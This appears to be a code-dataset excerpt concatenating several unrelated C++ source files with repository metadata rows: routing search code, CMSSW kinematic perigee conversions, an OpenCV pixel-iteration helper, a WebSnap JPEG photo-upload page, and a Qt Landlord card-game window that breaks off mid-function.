search_from_reverse_node, search_to_forward_node,
search_to_reverse_node, source_phantom, target_phantom,
total_distance_to_forward, total_distance_to_reverse,
new_total_distance_to_forward, packed_leg_to_forward);
// if only the reverse node is valid (e.g. when using the match plugin) we actually need to move
if (target_phantom.forward_node_id == SPECIAL_NODEID)
{
BOOST_ASSERT(target_phantom.reverse_node_id != SPECIAL_NODEID);
new_total_distance_to_reverse = new_total_distance_to_forward;
packed_leg_to_reverse = std::move(packed_leg_to_forward);
new_total_distance_to_forward = INVALID_EDGE_WEIGHT;
}
else if (target_phantom.reverse_node_id != SPECIAL_NODEID)
{
new_total_distance_to_reverse = new_total_distance_to_forward;
packed_leg_to_reverse = packed_leg_to_forward;
}
}
else
{
Search(forward_heap, reverse_heap, search_from_forward_node,
search_from_reverse_node, search_to_forward_node, search_to_reverse_node,
source_phantom, target_phantom, total_distance_to_forward,
total_distance_to_reverse, new_total_distance_to_forward,
new_total_distance_to_reverse, packed_leg_to_forward, packed_leg_to_reverse);
}
}
else
{
search_to_forward_node = target_phantom.forward_node_id != SPECIAL_NODEID;
search_to_reverse_node = target_phantom.reverse_node_id != SPECIAL_NODEID;
BOOST_ASSERT(search_from_reverse_node == search_to_reverse_node);
BOOST_ASSERT(search_from_forward_node == search_to_forward_node);
SearchLoop(forward_heap, reverse_heap, search_from_forward_node,
search_from_reverse_node, source_phantom, target_phantom, total_distance_to_forward,
total_distance_to_reverse, new_total_distance_to_forward,
new_total_distance_to_reverse, packed_leg_to_forward, packed_leg_to_reverse);
}
// No path found for both target nodes?
if ((INVALID_EDGE_WEIGHT == new_total_distance_to_forward) &&
(INVALID_EDGE_WEIGHT == new_total_distance_to_reverse))
{
raw_route_data.shortest_path_length = INVALID_EDGE_WEIGHT;
raw_route_data.alternative_path_length = INVALID_EDGE_WEIGHT;
return;
}
// we need to figure out how the new legs connect to the previous ones
if (current_leg > 0)
{
bool forward_to_forward =
(new_total_distance_to_forward != INVALID_EDGE_WEIGHT) &&
packed_leg_to_forward.front() == source_phantom.forward_node_id;
bool reverse_to_forward =
(new_total_distance_to_forward != INVALID_EDGE_WEIGHT) &&
packed_leg_to_forward.front() == source_phantom.reverse_node_id;
bool forward_to_reverse =
(new_total_distance_to_reverse != INVALID_EDGE_WEIGHT) &&
packed_leg_to_reverse.front() == source_phantom.forward_node_id;
bool reverse_to_reverse =
(new_total_distance_to_reverse != INVALID_EDGE_WEIGHT) &&
packed_leg_to_reverse.front() == source_phantom.reverse_node_id;
BOOST_ASSERT(!forward_to_forward || !reverse_to_forward);
BOOST_ASSERT(!forward_to_reverse || !reverse_to_reverse);
// in this case we always need to copy
if (forward_to_forward && forward_to_reverse)
{
// in this case we copy the path leading to the source forward node
// and change the case
total_packed_path_to_reverse = total_packed_path_to_forward;
packed_leg_to_reverse_begin = packed_leg_to_forward_begin;
forward_to_reverse = false;
reverse_to_reverse = true;
}
else if (reverse_to_forward && reverse_to_reverse)
{
total_packed_path_to_forward = total_packed_path_to_reverse;
packed_leg_to_forward_begin = packed_leg_to_reverse_begin;
reverse_to_forward = false;
forward_to_forward = true;
}
BOOST_ASSERT(!forward_to_forward || !forward_to_reverse);
BOOST_ASSERT(!reverse_to_forward || !reverse_to_reverse);
// in this case we just need to swap to regain the correct mapping
if (reverse_to_forward || forward_to_reverse)
{
total_packed_path_to_forward.swap(total_packed_path_to_reverse);
packed_leg_to_forward_begin.swap(packed_leg_to_reverse_begin);
}
}
if (new_total_distance_to_forward != INVALID_EDGE_WEIGHT)
{
BOOST_ASSERT(target_phantom.forward_node_id != SPECIAL_NODEID);
packed_leg_to_forward_begin.push_back(total_packed_path_to_forward.size());
total_packed_path_to_forward.insert(total_packed_path_to_forward.end(),
packed_leg_to_forward.begin(),
packed_leg_to_forward.end());
search_from_forward_node = true;
}
else
{
total_packed_path_to_forward.clear();
packed_leg_to_forward_begin.clear();
search_from_forward_node = false;
}
if (new_total_distance_to_reverse != INVALID_EDGE_WEIGHT)
{
BOOST_ASSERT(target_phantom.reverse_node_id != SPECIAL_NODEID);
packed_leg_to_reverse_begin.push_back(total_packed_path_to_reverse.size());
total_packed_path_to_reverse.insert(total_packed_path_to_reverse.end(),
packed_leg_to_reverse.begin(),
packed_leg_to_reverse.end());
search_from_reverse_node = true;
}
else
{
total_packed_path_to_reverse.clear();
packed_leg_to_reverse_begin.clear();
search_from_reverse_node = false;
}
prev_packed_leg_to_forward = std::move(packed_leg_to_forward);
prev_packed_leg_to_reverse = std::move(packed_leg_to_reverse);
total_distance_to_forward = new_total_distance_to_forward;
total_distance_to_reverse = new_total_distance_to_reverse;
++current_leg;
}
BOOST_ASSERT(total_distance_to_forward != INVALID_EDGE_WEIGHT ||
total_distance_to_reverse != INVALID_EDGE_WEIGHT);
// We make sure the fastest route is always in packed_legs_to_forward
if (total_distance_to_forward > total_distance_to_reverse)
{
// insert sentinel
packed_leg_to_reverse_begin.push_back(total_packed_path_to_reverse.size());
BOOST_ASSERT(packed_leg_to_reverse_begin.size() == phantom_nodes_vector.size() + 1);
UnpackLegs(phantom_nodes_vector, total_packed_path_to_reverse,
packed_leg_to_reverse_begin, total_distance_to_reverse, raw_route_data);
}
else
{
// insert sentinel
packed_leg_to_forward_begin.push_back(total_packed_path_to_forward.size());
BOOST_ASSERT(packed_leg_to_forward_begin.size() == phantom_nodes_vector.size() + 1);
UnpackLegs(phantom_nodes_vector, total_packed_path_to_forward,
packed_leg_to_forward_begin, total_distance_to_forward, raw_route_data);
}
}
};
#endif /* SHORTEST_PATH_HPP */
| 47.270019 | 122 | 0.612315 | aaronbenz |
601e6bc30096d0079c9ee932453998d46d81a3b4 | 6,318 | cc | C++ | RecoVertex/KinematicFitPrimitives/src/KinematicPerigeeConversions.cc | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | RecoVertex/KinematicFitPrimitives/src/KinematicPerigeeConversions.cc | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | RecoVertex/KinematicFitPrimitives/src/KinematicPerigeeConversions.cc | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | #include "RecoVertex/KinematicFitPrimitives/interface/KinematicPerigeeConversions.h"
#include "TrackingTools/TrajectoryState/interface/PerigeeConversions.h"
ExtendedPerigeeTrajectoryParameters KinematicPerigeeConversions::extendedPerigeeFromKinematicParameters(
const KinematicState& state, const GlobalPoint& point) const {
//making an extended perigee parametrization
//out of kinematic state and point defined
AlgebraicVector6 res;
res(5) = state.mass();
// AlgebraicVector7 par = state.kinematicParameters().vector();
GlobalVector impactDistance = state.globalPosition() - point;
double theta = state.globalMomentum().theta();
double phi = state.globalMomentum().phi();
double pt = state.globalMomentum().transverse();
// double field = MagneticField::inGeVPerCentimeter(state.globalPosition()).z();
double field = state.magneticFieldInInverseGeV().z();
// double signTC = -state.particleCharge();
// double transverseCurvature = field/pt*signTC;
//making a proper sign for epsilon
// FIXME use scalar product...
double positiveMomentumPhi = ((phi > 0) ? phi : (2 * M_PI + phi));
double positionPhi = impactDistance.phi();
double positivePositionPhi = ((positionPhi > 0) ? positionPhi : (2 * M_PI + positionPhi));
double phiDiff = positiveMomentumPhi - positivePositionPhi;
if (phiDiff < 0.0)
phiDiff += (2 * M_PI);
double signEpsilon = ((phiDiff > M_PI) ? -1.0 : 1.0);
double epsilon =
signEpsilon * sqrt(impactDistance.x() * impactDistance.x() + impactDistance.y() * impactDistance.y());
double signTC = -state.particleCharge();
bool isCharged = (signTC != 0);
if (isCharged) {
res(0) = field / pt * signTC;
} else {
res(0) = 1 / pt;
}
res(1) = theta;
res(2) = phi;
res(3) = epsilon;
res(4) = impactDistance.z();
return ExtendedPerigeeTrajectoryParameters(res, state.particleCharge());
}
KinematicParameters KinematicPerigeeConversions::kinematicParametersFromExPerigee(
const ExtendedPerigeeTrajectoryParameters& pr, const GlobalPoint& point, const MagneticField* field) const {
AlgebraicVector7 par;
AlgebraicVector6 theVector = pr.vector();
double pt;
if (pr.charge() != 0) {
pt = std::abs(field->inInverseGeV(point).z() / theVector(1));
} else {
pt = 1 / theVector(1);
}
par(6) = theVector[5];
par(0) = theVector[3] * sin(theVector[2]) + point.x();
par(1) = -theVector[3] * cos(theVector[2]) + point.y();
par(2) = theVector[4] + point.z();
par(3) = cos(theVector[2]) * pt;
par(4) = sin(theVector[2]) * pt;
par(5) = pt / tan(theVector[1]);
return KinematicParameters(par);
}
KinematicState KinematicPerigeeConversions::kinematicState(const AlgebraicVector4& momentum,
const GlobalPoint& referencePoint,
const TrackCharge& charge,
const AlgebraicSymMatrix77& theCovarianceMatrix,
const MagneticField* field) const {
AlgebraicMatrix77 param2cart = jacobianParameters2Kinematic(momentum, referencePoint, charge, field);
AlgebraicSymMatrix77 kinematicErrorMatrix = ROOT::Math::Similarity(param2cart, theCovarianceMatrix);
// kinematicErrorMatrix.assign(param2cart*theCovarianceMatrix*param2cart.T());
KinematicParametersError kinematicParamError(kinematicErrorMatrix);
AlgebraicVector7 par;
AlgebraicVector4 mm = momentumFromPerigee(momentum, referencePoint, charge, field);
par(0) = referencePoint.x();
par(1) = referencePoint.y();
par(2) = referencePoint.z();
par(3) = mm(0);
par(4) = mm(1);
par(5) = mm(2);
par(6) = mm(3);
KinematicParameters kPar(par);
return KinematicState(kPar, kinematicParamError, charge, field);
}
AlgebraicMatrix77 KinematicPerigeeConversions::jacobianParameters2Kinematic(const AlgebraicVector4& momentum,
const GlobalPoint& referencePoint,
const TrackCharge& charge,
const MagneticField* field) const {
AlgebraicMatrix66 param2cart = PerigeeConversions::jacobianParameters2Cartesian(
AlgebraicVector3(momentum[0], momentum[1], momentum[2]), referencePoint, charge, field);
AlgebraicMatrix77 frameTransJ;
for (int i = 0; i < 6; ++i)
for (int j = 0; j < 6; ++j)
frameTransJ(i, j) = param2cart(i, j);
frameTransJ(6, 6) = 1;
// double factor = 1;
// if (charge != 0){
// double field = TrackingTools::FakeField::Field::inGeVPerCentimeter(referencePoint).z();
// factor = -field*charge;
// }
// AlgebraicMatrix frameTransJ(7, 7, 0);
// frameTransJ[0][0] = 1;
// frameTransJ[1][1] = 1;
// frameTransJ[2][2] = 1;
// frameTransJ[6][6] = 1;
// frameTransJ[3][3] = - factor * cos(momentum[2]) / (momentum[0]*momentum[0]);
// frameTransJ[4][3] = - factor * sin(momentum[2]) / (momentum[0]*momentum[0]);
// frameTransJ[5][3] = - factor / tan(momentum[1]) / (momentum[0]*momentum[0]);
//
// frameTransJ[3][5] = - factor * sin(momentum[1]) / (momentum[0]);
// frameTransJ[4][5] = factor * cos(momentum[1]) / (momentum[0]);
// frameTransJ[5][4] = -factor/ (momentum[0]*sin(momentum[1])*sin(momentum[1]));
return frameTransJ;
}
// Cartesian (px,py,px,m) from extended perigee
AlgebraicVector4 KinematicPerigeeConversions::momentumFromPerigee(const AlgebraicVector4& momentum,
const GlobalPoint& referencePoint,
const TrackCharge& ch,
const MagneticField* field) const {
AlgebraicVector4 mm;
double pt;
if (ch != 0) {
// pt = abs(MagneticField::inGeVPerCentimeter(referencePoint).z() / momentum[0]);
pt = std::abs(field->inInverseGeV(referencePoint).z() / momentum[0]);
} else {
pt = 1 / momentum[0];
}
mm(0) = cos(momentum[2]) * pt;
mm(1) = sin(momentum[2]) * pt;
mm(2) = pt / tan(momentum[1]);
mm(3) = momentum[3];
return mm;
}
| 43.572414 | 112 | 0.621557 | ckamtsikis |
e74563771f853c4874b8543f4ba8f99ba76c31cf | 398 | cpp | C++ | src/img-processing/utils/matrix-ops.cpp | mdziekon/eiti-pobr-logo-recognition | 02a20b2a8427249ac318f1865fa824ad1f28b46c | [
"MIT"
] | 1 | 2022-01-22T10:30:56.000Z | 2022-01-22T10:30:56.000Z | src/img-processing/utils/matrix-ops.cpp | mdziekon/eiti-pobr-logo-recognition | 02a20b2a8427249ac318f1865fa824ad1f28b46c | [
"MIT"
] | null | null | null | src/img-processing/utils/matrix-ops.cpp | mdziekon/eiti-pobr-logo-recognition | 02a20b2a8427249ac318f1865fa824ad1f28b46c | [
"MIT"
] | null | null | null | #include "./matrix-ops.hpp"
namespace matrixOps = pobr::imgProcessing::utils::matrixOps;
const cv::Mat&
matrixOps::forEachPixel(
const cv::Mat& img,
const std::function<void(const uint64_t& x, const uint64_t& y)>& operation
)
{
for (uint64_t x = 0; x < img.cols; x++) {
for (uint64_t y = 0; y < img.rows; y++) {
operation(x, y);
}
}
return img;
}
| 20.947368 | 78 | 0.585427 | mdziekon |
e74850526a8d4da267370724dccabf5e807bce8a | 4,849 | cpp | C++ | EXAMPLES/WebSnap/PhotoGallery/uploadpicturespg.cpp | earthsiege2/borland-cpp-ide | 09bcecc811841444338e81b9c9930c0e686f9530 | [
"Unlicense",
"FSFAP",
"Apache-1.1"
] | 1 | 2022-01-13T01:03:55.000Z | 2022-01-13T01:03:55.000Z | EXAMPLES/WebSnap/PhotoGallery/uploadpicturespg.cpp | earthsiege2/borland-cpp-ide | 09bcecc811841444338e81b9c9930c0e686f9530 | [
"Unlicense",
"FSFAP",
"Apache-1.1"
] | null | null | null | EXAMPLES/WebSnap/PhotoGallery/uploadpicturespg.cpp | earthsiege2/borland-cpp-ide | 09bcecc811841444338e81b9c9930c0e686f9530 | [
"Unlicense",
"FSFAP",
"Apache-1.1"
] | null | null | null |
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "UploadPicturesPg.h"
#include "PhotoDataPg.h"
#include <WebInit.h>
#include <WebReq.hpp>
#include <WebCntxt.hpp>
#include <WebFact.hpp>
#include <Jpeg.hpp>
#include <IBQuery.hpp>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
USEADDITIONALFILES("*.html");
const char* rNoFilesUploaded = "No files uploaded - please select a file.";
const char* rRequiredImage = "Unsupported image. The supported image type is only jpeg.";
const char* rNoUploadFileFound = "No Upload File found! Did you select a file?";
const char* rUploadPageTitle = "Upload Pictures";
const char* rNoTitle = "(Untitled)";
const char* rNotLoggedIn = "Please login!";
TUploadPicturesPage *UploadPicturesPage()
{
return (TUploadPicturesPage*)WebContext()->FindModuleClass(__classid (TUploadPicturesPage));
}
static TWebPageAccess PageAccess;
static TWebPageInit WebInit(__classid(TUploadPicturesPage),
crOnDemand, caCache,
PageAccess << wpPublished << wpLoginRequired, ".html", "",
"Upload Pictures", "",
// Limit upload access to only user's and admin's
AnsiString(sUserRightStrings[urAdmin]) + ";" + AnsiString(sUserRightStrings[urUser]));
void __fastcall TUploadPicturesPage::UploadFileUploadFiles(TObject *Sender,
TUpdateFileList *Files)
{
try
{
TIBQuery *qryAddImage = PhotoData()->qryAddImage;
// the current user id is stored in the sessino
AnsiString sUserId = Session->Values[cUserId];
int nUserId = StrToInt(sUserId);
for (int i = 0; i < Files->Count; i++)
{
TDBImageType ImageType = itJpeg;
// Make sure that the file is jpeg content type
if (SameText(Files->Files[i]->ContentType, "image/jpeg") ||
SameText(Files->Files[i]->ContentType, "image/pjpeg"))
{
// Try to get the image width and height. An exception will be
// raised if it is an invalid image.
TJPEGImage *Jpeg = new TJPEGImage;
__try
{
Jpeg->LoadFromStream(Files->Files[i]->Stream);
qryAddImage->ParamByName(cImgWidth)->AsInteger =
Jpeg->Width;
qryAddImage->ParamByName(cImgHeight)->AsInteger =
Jpeg->Height;
}
__finally {
delete Jpeg;
}
Files->Files[i]->Stream->Position = 0;
// Save the file in the database
qryAddImage->ParamByName(cImgData)->SetBlobData(
((TMemoryStream*)Files->Files[i]->Stream)->Memory,
Files->Files[i]->Stream->Size);
qryAddImage->ParamByName(cImgSize)->AsInteger =
Files->Files[i]->Stream->Size;
}
/* TODO : You can add support for other image types here */
else
throw Exception(rRequiredImage);
// Fill in things common to all image types
qryAddImage->ParamByName(cImgType)->AsInteger = ImageType;
qryAddImage->ParamByName(cUserId)->AsInteger = nUserId;
if (Title->ActionValue)
qryAddImage->ParamByName(cImgTitle)->AsString = Title->ActionValue->Values[0];
else
qryAddImage->ParamByName(cImgTitle)->AsString = rNoTitle;
if (Description->ActionValue)
qryAddImage->ParamByName(cImgDescription)->AsString =
Description->ActionValue->Values[0];
else
qryAddImage->ParamByName(cImgDescription)->AsString = "";
if (Category->ActionValue)
qryAddImage->ParamByName(cCatId)->AsString = Category->ActionValue->Values[0];
qryAddImage->ExecSQL();
UploadedFiles->Strings->Values[ExtractFileName(Files->Files[i]->FileName)]
= IntToStr(Files->Files[i]->Stream->Size);
} // for loop
} // try
catch (Exception &e) {
UploadAdapter->Errors->AddError(&e, "");
}
}
//---------------------------------------------------------------------------
void __fastcall TUploadPicturesPage::UploadAdapterBeforeExecuteAction(
TObject *Sender, TObject *Action, TStrings *Params, bool &Handled)
{
if (Request->Files->Count <= 0)
UploadAdapter->Errors->AddError(rNoFilesUploaded);
}
//---------------------------------------------------------------------------
void __fastcall TUploadPicturesPage::UploadExecute(TObject *Sender,
TStrings *Params)
{
UploadAdapter->UpdateRecords(); // Causes the fields to be updated, and files to be accepted
}
//---------------------------------------------------------------------------
void __fastcall TUploadPicturesPage::WebPageModuleActivate(TObject *Sender)
{
UploadedFiles->Strings->Clear();
}
//---------------------------------------------------------------------------
| 35.918519 | 95 | 0.593524 | earthsiege2 |
e749d1b3f9bfa835077078b06a42e982f9da4f6f | 28,347 | cpp | C++ | main/gamewindow.cpp | jerrykeung666/20-21-zju-OOP-Project | 22b9ee7fcdde969b676d4ffd48fcc71dfeb93fa5 | [
"MIT"
] | 1 | 2021-09-16T05:17:52.000Z | 2021-09-16T05:17:52.000Z | main/gamewindow.cpp | jerrykeung666/20-21-zju-OOP-Project | 22b9ee7fcdde969b676d4ffd48fcc71dfeb93fa5 | [
"MIT"
] | null | null | null | main/gamewindow.cpp | jerrykeung666/20-21-zju-OOP-Project | 22b9ee7fcdde969b676d4ffd48fcc71dfeb93fa5 | [
"MIT"
] | null | null | null | #include "gamewindow.h"
#include "cardgroups.h"
#include <algorithm>
#include <QPainter>
#include <QDebug>
#include <QPalette>
#include <QMessageBox>
const QSize GameWindow::gameWindowSize = QSize(1200, 800);
const int GameWindow::cardWidthSpace = 35;
const int GameWindow::cardHeightSpace = 20; //TODO
const int GameWindow::cardRemSpace = 180; //TODO
const int GameWindow::myCardWidthStartPos = 600; //TODO
const int GameWindow::myCardHeightStartPos = 650; //TODO
const int GameWindow::leftCardWidthStartPos = 10; //TODO
const int GameWindow::leftCardHeightStartPos = 100; //TODO
const int GameWindow::rightCardWidthStartPos = 1075; //TODO
const int GameWindow::rightCardHeightStartPos = 100; //TODO
const int GameWindow::remCardWidthStartPos = 350;//TODO
const int GameWindow::remCardHeightStartPos = 20;//TODO
const int GameWindow::betBtnWidthStartPos = 320; //TODO
const int GameWindow::betBtnHeightStartPos = 575; //TODO
const int GameWindow::betBtnWidthSpace = 140; //TODO
const int GameWindow::fontSize = 20;
const QPoint GameWindow::myBetInfoPos = QPoint(500, 375);
const QPoint GameWindow::leftPlayerBetInfoPos = QPoint(135, 50);
const QPoint GameWindow::rightPlayerBetInfoPos = QPoint(975, 50);
const int GameWindow::cardSelectedShift = 35;
const QPoint GameWindow::passBtnStartPos = QPoint(350, 575);
const QPoint GameWindow::playBtnStartPos = QPoint(700, 575);
const QPoint GameWindow::myCardZone = QPoint(600, 480);
const int GameWindow::myCardZoneWidthSpace = 40;
const QPoint GameWindow::rightCardZone = QPoint(925, 150);
const int GameWindow::rightCardZoneHeightSpace = 40;
const QPoint GameWindow::leftCardZone = QPoint(130, 150);
const int GameWindow::leftCardZoneHeightSpace = 40;
const QPoint GameWindow::myStatusPos = QPoint(925, 500);
const QPoint GameWindow::rightStatusPos = QPoint(925, 50);
const QPoint GameWindow::leftStatusPos = QPoint(130, 50);
const QPoint GameWindow::myLandLordPos = QPoint(50, 500);
GameWindow::GameWindow(QWidget *parent) : QMainWindow(parent)
{
setFixedSize(gameWindowSize);
setWindowTitle("Landlord: Welcome!");
setWindowIcon(QIcon("../picture/icon.jfif"));
gameControl = new GameControl(this);
gameControl->init();
cardSize = QSize(80, 105);
initCardWidgetMap();
initButtons();
initPlayerContext();
initInfoLabel();
initSignalsAndSlots();
qDebug() << "初始化牌";
}
void GameWindow::init(){
gameControl->initCards();
initLandLordCards();
}
void GameWindow::insertCardWidget(const Card &card, QString &path)
{
CardWidget *cardWidget = new CardWidget(this);
QPixmap pix = QPixmap(path);
cardWidget->hide();
cardWidget->setCard(card);
cardWidget->setPix(pix);
cardWidgetMap.insert(card, cardWidget);
connect(cardWidget, &CardWidget::notifySelected, this, &GameWindow::cardSelected);
}
void GameWindow::addLandLordCard(const Card &card)
{
CardWidget *cw = cardWidgetMap[card];
CardWidget *cardWidget = new CardWidget(this);
QPixmap pix = QPixmap(cw->getPix());
cardWidget->hide();
cardWidget->setCard(card);
cardWidget->setPix(pix);
restThreeCards.push_back(cardWidget);
}
void GameWindow::initCardWidgetMap()
{
QString prefix = ":/PokerImage/";
QString suitMap[] = {"poker_t_1_v_", "poker_t_2_v_", "poker_t_3_v_", "poker_t_4_v_"};
for (int st = Suit_Begin + 1; st < Suit_End; ++st) {
for (int pt = Card_Begin + 1; pt < Card_SJ; ++pt) {
Card card((CardPoint)pt, (CardSuit)st);
QString cardPath;
if(pt == 13)
cardPath = prefix + suitMap[st-1] + QString::number(1) + ".png";
else
cardPath = prefix + suitMap[st-1] + QString::number((pt+1)%14) + ".png";
insertCardWidget(card, cardPath);
}
}
Card card;
QString cardPath;
cardPath = prefix + "smalljoker.png";
card.point = Card_SJ;
insertCardWidget(card, cardPath);
card.point = Card_BJ;
cardPath = prefix + "bigjoker.png";
insertCardWidget(card, cardPath);
}
void GameWindow::initInfoLabel(){
QPalette palette = this->palette();
palette.setColor(QPalette::WindowText, Qt::red);
QFont font("Microsoft YaHei", fontSize, QFont::Bold);
myBetInfo = new QLabel();
myBetInfo->setParent(this);
myBetInfo->setPalette(palette);
myBetInfo->setFont(font);
myBetInfo->raise();
myBetInfo->move(myBetInfoPos);
myBetInfo->hide();
rightBetInfo = new QLabel();
rightBetInfo->setParent(this);
rightBetInfo->setPalette(palette);
rightBetInfo->setFont(font);
rightBetInfo->raise();
rightBetInfo->move(rightPlayerBetInfoPos);
rightBetInfo->hide();
leftBetInfo = new QLabel();
leftBetInfo->setParent(this);
leftBetInfo->setPalette(palette);
leftBetInfo->setFont(font);
leftBetInfo->raise();
leftBetInfo->move(leftPlayerBetInfoPos);
leftBetInfo->hide();
passInfo = new QLabel();
passInfo->setParent(this);
passInfo->setPalette(palette);
passInfo->setFont(font);
passInfo->raise();
passInfo->move(myBetInfoPos);
passInfo->hide();
playInfo = new QLabel();
playInfo->setParent(this);
playInfo->setPalette(palette);
playInfo->setFont(font);
playInfo->raise();
playInfo->move(myBetInfoPos);
playInfo->hide();
leftPassInfo = new QLabel();
leftPassInfo->setParent(this);
leftPassInfo->setPalette(palette);
leftPassInfo->setFont(font);
leftPassInfo->raise();
leftPassInfo->move(leftPlayerBetInfoPos);
leftPassInfo->hide();
rightPassInfo = new QLabel();
rightPassInfo->setParent(this);
rightPassInfo->setPalette(palette);
rightPassInfo->setFont(font);
rightPassInfo->raise();
rightPassInfo->move(rightPlayerBetInfoPos);
rightPassInfo->hide();
myStatusInfo = new QLabel();
myStatusInfo->setParent(this);
myStatusInfo->setPalette(palette);
myStatusInfo->setFont(font);
myStatusInfo->raise();
myStatusInfo->move(myStatusPos);
myStatusInfo->hide();
leftStatusInfo = new QLabel();
leftStatusInfo->setParent(this);
leftStatusInfo->setPalette(palette);
leftStatusInfo->setFont(font);
leftStatusInfo->raise();
leftStatusInfo->move(leftStatusPos);
leftStatusInfo->hide();
rightStatusInfo = new QLabel();
rightStatusInfo->setParent(this);
rightStatusInfo->setPalette(palette);
rightStatusInfo->setFont(font);
rightStatusInfo->raise();
rightStatusInfo->move(rightStatusPos);
rightStatusInfo->hide();
QFont font2("Microsoft YaHei", 10, QFont::Bold);
myLandLordInfo = new QLabel();
myLandLordInfo->setParent(this);
myLandLordInfo->setPalette(palette);
myLandLordInfo->setFont(font2);
myLandLordInfo->lower();
myLandLordInfo->move(myLandLordPos);
myLandLordInfo->setText("LandLord:\n everyone");
myLandLordInfo->show();
}
void GameWindow::initButtons()
{
startBtn = new MyPushButton("../picture/game_start.png", "开始游戏");
startBtn->setParent(this);
startBtn->move(this->width()*0.5-startBtn->width()*0.5, this->height()*0.5);
betNoBtn = new MyPushButton("../picture/No.png", "No!");
bet1Btn = new MyPushButton("../picture/OnePoint.png", "1 Point!");
bet2Btn = new MyPushButton("../picture/TwoPoints.png", "2 Points!");
bet3Btn = new MyPushButton("../picture/ThreePoints.png", "3 Points!");
betNoBtn->setParent(this);
bet1Btn->setParent(this);
bet2Btn->setParent(this);
bet3Btn->setParent(this);
betNoBtn->move(betBtnWidthStartPos, betBtnHeightStartPos);
bet1Btn->move(betBtnWidthStartPos + betBtnWidthSpace, betBtnHeightStartPos);
bet2Btn->move(betBtnWidthStartPos + 2*betBtnWidthSpace, betBtnHeightStartPos);
bet3Btn->move(betBtnWidthStartPos + 3*betBtnWidthSpace, betBtnHeightStartPos);
betNoBtn->hide();
bet1Btn->hide();
bet2Btn->hide();
bet3Btn->hide();
passBtn = new MyPushButton("../picture/Pass.png", "Pass!");
playBtn = new MyPushButton("../picture/Play.png", "Play!");
passBtn->setParent(this);
playBtn->setParent(this);
passBtn->move(passBtnStartPos);
playBtn->move(playBtnStartPos);
passBtn->hide();
playBtn->hide();
}
void GameWindow::initPlayerContext()
{
PlayerContext context;
context.cardsAlign = Vertical;
context.isFrontSide = false;
playerContextMap.insert(gameControl->getPlayerC(), context);
context.cardsAlign = Vertical;
context.isFrontSide = false;
playerContextMap.insert(gameControl->getPlayerB(), context);
context.cardsAlign = Horizontal;
context.isFrontSide = true;
playerContextMap.insert(gameControl->getPlayerA(), context);
for (auto &pcm : playerContextMap)
{
pcm.info = new QLabel(this);
pcm.info->resize(100, 50);
pcm.info->setObjectName("info");
pcm.info->hide();
pcm.rolePic = new QLabel(this);
pcm.rolePic->resize(84, 120);
pcm.rolePic->hide();
}
}
void GameWindow::initLandLordCards()
{
QVector<Card> cards = gameControl->getLandLordCards();
for (auto &card : cards) {
addLandLordCard(card);
}
}
void GameWindow::initSignalsAndSlots(){
connect(startBtn, &MyPushButton::clicked, this, &GameWindow::onStartBtnClicked);
connect(betNoBtn, &MyPushButton::clicked, this, &GameWindow::onBetNoBtnClicked);
connect(bet1Btn, &MyPushButton::clicked, this, &GameWindow::onBet1BtnClicked);
connect(bet2Btn, &MyPushButton::clicked, this, &GameWindow::onBet2BtnClicked);
connect(bet3Btn, &MyPushButton::clicked, this, &GameWindow::onBet3BtnClicked);
connect(passBtn, &MyPushButton::clicked, this, &GameWindow::passCards);
connect(playBtn, &MyPushButton::clicked, this, &GameWindow::playCards);
//
connect(gameControl, &GameControl::callGamewindowShowBets, this, &GameWindow::onBetPointsCall);
connect(gameControl, &GameControl::callGamewindowShowLandlord, this, [=](){
if (gameControl->getgamemodel() == 1){
if (gameControl->getPlayerA()->getIsLandLord()){
myLandLordInfo->setText("LandLord:\n me");
}else if (gameControl->getPlayerB()->getIsLandLord()){
myLandLordInfo->setText("LandLord:\n right");
}else{
myLandLordInfo->setText("LandLord:\n left");
}
myLandLordInfo->show();
}
showRemLandLordCard("show");
});
connect(gameControl, &GameControl::NotifyPlayerPlayHand, this, &GameWindow::otherPlayerShowCards);
connect(gameControl, &GameControl::NotifyPlayerbutton, this, &GameWindow::myPlayerShowButton);
connect(gameControl, &GameControl::NotifyPlayerStatus, this, &GameWindow::showEndStatus);
}
void GameWindow::onStartBtnClicked()
{
startBtn->hide();
showLandLordCard();
if (gameControl->getgamemodel() == 1){
call4Landlord();
}
else{
startGame();
}
qDebug() << "开始游戏";
}
void GameWindow::showLandLordCard(){
// gameControl->getPlayerA();
if(gameControl->getPlayerA()->getIsPerson()){
showMyCard(gameControl->getPlayerA());
showOtherPlayerCard(gameControl->getPlayerB(), "right");
showOtherPlayerCard(gameControl->getPlayerC(), "left");
}
else if(gameControl->getPlayerB()->getIsPerson()){
showMyCard(gameControl->getPlayerB());
showOtherPlayerCard(gameControl->getPlayerC(), "right");
showOtherPlayerCard(gameControl->getPlayerA(), "left");
}
else if(gameControl->getPlayerC()->getIsPerson()){
showMyCard(gameControl->getPlayerC());
showOtherPlayerCard(gameControl->getPlayerA(), "right");
showOtherPlayerCard(gameControl->getPlayerB(), "left");
}
showRemLandLordCard("hidden");
}
void GameWindow::showOtherPlayerCard(Player* otherPlayer, const QString status){
QVector<Card> myCards;
QVector<CardWidget*> myWidget;
myCards = otherPlayer->getHandCards();
for (int i=0; i < myCards.size(); i++) {
myWidget.push_back(cardWidgetMap[myCards.at(i)]);
myWidget.at(i)->raise();
if(status == "left"){
myWidget.at(i)->setFront(false);
myWidget.at(i)->move(leftCardWidthStartPos, leftCardHeightStartPos + i*cardHeightSpace);
}
else{
myWidget.at(i)->setFront(false);
myWidget.at(i)->move(rightCardWidthStartPos, rightCardHeightStartPos + i*cardHeightSpace);
}
myWidget.at(i)->show();
//qDebug() << myWidget.at(i)->getIsFront();
//qDebug() << myWidget.size();
}
}
void GameWindow::showMyCard(Player* myPlayer){
QVector<Card> myCards;
QVector<CardWidget*> myWidget;
myCards = myPlayer->getHandCards();
int len = myCards.size();
for (int i=0; i < len; i++) {
